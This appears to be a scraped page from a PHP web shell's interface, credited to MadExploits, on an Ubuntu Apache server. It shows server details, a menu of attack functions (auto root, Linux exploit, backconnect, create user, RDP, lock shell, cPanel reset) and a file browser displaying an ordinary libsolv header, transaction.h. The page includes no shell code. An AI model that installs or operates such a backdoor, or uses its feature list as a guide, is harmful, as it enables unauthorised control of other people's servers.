Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
miniconda3 /
python /
include /
solv /
[ HOME SHELL ]
Name
Size
Permission
Action
bitmap.h
1.52
KB
-rw-rw-r--
chksum.h
1.16
KB
-rw-rw-r--
conda.h
638
B
-rw-rw-r--
dataiterator.h
4.99
KB
-rw-rw-r--
dirpool.h
1.67
KB
-rw-rw-r--
evr.h
815
B
-rw-rw-r--
hash.h
1.57
KB
-rw-rw-r--
knownid.h
13.69
KB
-rw-rw-r--
policy.h
1.7
KB
-rw-rw-r--
pool.h
13.77
KB
-rw-rw-r--
poolarch.h
1.21
KB
-rw-rw-r--
poolid.h
1.16
KB
-rw-rw-r--
pooltypes.h
1.06
KB
-rw-rw-r--
poolvendor.h
499
B
-rw-rw-r--
problems.h
2.65
KB
-rw-rw-r--
queue.h
2.41
KB
-rw-rw-r--
repo.h
7.85
KB
-rw-rw-r--
repo_conda.h
491
B
-rw-rw-r--
repo_solv.h
557
B
-rw-rw-r--
repo_write.h
1.93
KB
-rw-rw-r--
repodata.h
11.93
KB
-rw-rw-r--
rules.h
6.43
KB
-rw-rw-r--
selection.h
2.55
KB
-rw-rw-r--
solv_xfopen.h
553
B
-rw-rw-r--
solvable.h
3.87
KB
-rw-rw-r--
solver.h
17.66
KB
-rw-rw-r--
solverdebug.h
1.24
KB
-rw-rw-r--
solvversion.h
1.61
KB
-rw-rw-r--
strpool.h
1.44
KB
-rw-rw-r--
testcase.h
2.11
KB
-rw-rw-r--
tools_util.h
1.6
KB
-rw-rw-r--
transaction.h
4.75
KB
-rw-rw-r--
util.h
3.07
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : transaction.h
/* * Copyright (c) 2007-2009, Novell Inc. * * This program is licensed under the BSD license, read LICENSE.BSD * for further information */ /* * transaction.h * */ #ifndef LIBSOLV_TRANSACTION_H #define LIBSOLV_TRANSACTION_H #include "pooltypes.h" #include "queue.h" #include "bitmap.h" #ifdef __cplusplus extern "C" { #endif struct s_Pool; struct s_DUChanges; struct s_TransactionOrderdata; typedef struct s_Transaction { struct s_Pool *pool; /* back pointer to pool */ Queue steps; /* the transaction steps */ #ifdef LIBSOLV_INTERNAL Queue transaction_info; Id *transaction_installed; Map transactsmap; Map multiversionmap; struct s_TransactionOrderdata *orderdata; #endif } Transaction; /* step types */ #define SOLVER_TRANSACTION_IGNORE 0x00 #define SOLVER_TRANSACTION_ERASE 0x10 #define SOLVER_TRANSACTION_REINSTALLED 0x11 #define SOLVER_TRANSACTION_DOWNGRADED 0x12 #define SOLVER_TRANSACTION_CHANGED 0x13 #define SOLVER_TRANSACTION_UPGRADED 0x14 #define SOLVER_TRANSACTION_OBSOLETED 0x15 #define SOLVER_TRANSACTION_INSTALL 0x20 #define SOLVER_TRANSACTION_REINSTALL 0x21 #define SOLVER_TRANSACTION_DOWNGRADE 0x22 #define SOLVER_TRANSACTION_CHANGE 0x23 #define SOLVER_TRANSACTION_UPGRADE 0x24 #define SOLVER_TRANSACTION_OBSOLETES 0x25 #define SOLVER_TRANSACTION_MULTIINSTALL 0x30 #define SOLVER_TRANSACTION_MULTIREINSTALL 0x31 #define SOLVER_TRANSACTION_MAXTYPE 0x3f /* modes */ #define SOLVER_TRANSACTION_SHOW_ACTIVE (1 << 0) #define SOLVER_TRANSACTION_SHOW_ALL (1 << 1) #define SOLVER_TRANSACTION_SHOW_OBSOLETES (1 << 2) #define SOLVER_TRANSACTION_SHOW_MULTIINSTALL (1 << 3) #define SOLVER_TRANSACTION_CHANGE_IS_REINSTALL (1 << 4) #define SOLVER_TRANSACTION_MERGE_VENDORCHANGES (1 << 5) #define SOLVER_TRANSACTION_MERGE_ARCHCHANGES (1 << 6) #define SOLVER_TRANSACTION_RPM_ONLY (1 << 7) #define SOLVER_TRANSACTION_KEEP_PSEUDO (1 << 8) #define SOLVER_TRANSACTION_OBSOLETE_IS_UPGRADE (1 << 9) /* extra classifications */ #define SOLVER_TRANSACTION_ARCHCHANGE 0x100 #define SOLVER_TRANSACTION_VENDORCHANGE 0x101 /* order flags */ #define SOLVER_TRANSACTION_KEEP_ORDERDATA (1 << 0) #define SOLVER_TRANSACTION_KEEP_ORDERCYCLES (1 << 1) #define SOLVER_TRANSACTION_KEEP_ORDEREDGES (1 << 2) /* cycle severities */ #define SOLVER_ORDERCYCLE_HARMLESS 0 #define SOLVER_ORDERCYCLE_NORMAL 1 #define SOLVER_ORDERCYCLE_CRITICAL 2 extern Transaction *transaction_create(struct s_Pool *pool); extern Transaction *transaction_create_decisionq(struct s_Pool *pool, Queue *decisionq, Map *multiversionmap); extern Transaction *transaction_create_clone(Transaction *srctrans); extern void transaction_free(Transaction *trans); /* if p is installed, returns with pkg(s) obsolete p */ /* if p is not installed, returns with pkg(s) we obsolete */ extern Id transaction_obs_pkg(Transaction *trans, Id p); extern void transaction_all_obs_pkgs(Transaction *trans, Id p, Queue *pkgs); /* return step type of a transaction element */ extern Id transaction_type(Transaction *trans, Id p, int mode); /* return sorted collection of all step types */ /* classify_pkgs can be used to return all packages of a type */ extern void transaction_classify(Transaction *trans, int mode, Queue *classes); extern void transaction_classify_pkgs(Transaction *trans, int mode, Id type, Id from, Id to, Queue *pkgs); /* return all packages that will be installed after the transaction is run*/ /* The new packages are put at the head of the queue, the number of new packages is returned */ extern int transaction_installedresult(Transaction *trans, Queue *installedq); long long transaction_calc_installsizechange(Transaction *trans); void transaction_calc_duchanges(Transaction *trans, struct s_DUChanges *mps, int nmps); /* order a transaction */ extern void transaction_order(Transaction *trans, int flags); /* roll your own order funcion: * add pkgs free for installation to queue choices after chosen was * installed. start with chosen = 0 * needs an ordered transaction created with SOLVER_TRANSACTION_KEEP_ORDERDATA */ extern int transaction_order_add_choices(Transaction *trans, Id chosen, Queue *choices); /* add obsoleted packages into transaction steps */ extern void transaction_add_obsoleted(Transaction *trans); /* debug function, report problems found in the order */ extern void transaction_check_order(Transaction *trans); /* order cycle introspection */ extern void transaction_order_get_cycleids(Transaction *trans, Queue *q, int minseverity); extern int transaction_order_get_cycle(Transaction *trans, Id cid, Queue *q); extern void transaction_order_get_edges(Transaction *trans, Id p, Queue *q, int unbroken); extern void transaction_free_orderdata(Transaction *trans); extern void transaction_clone_orderdata(Transaction *trans, Transaction *srctrans); #ifdef __cplusplus } #endif #endif
Close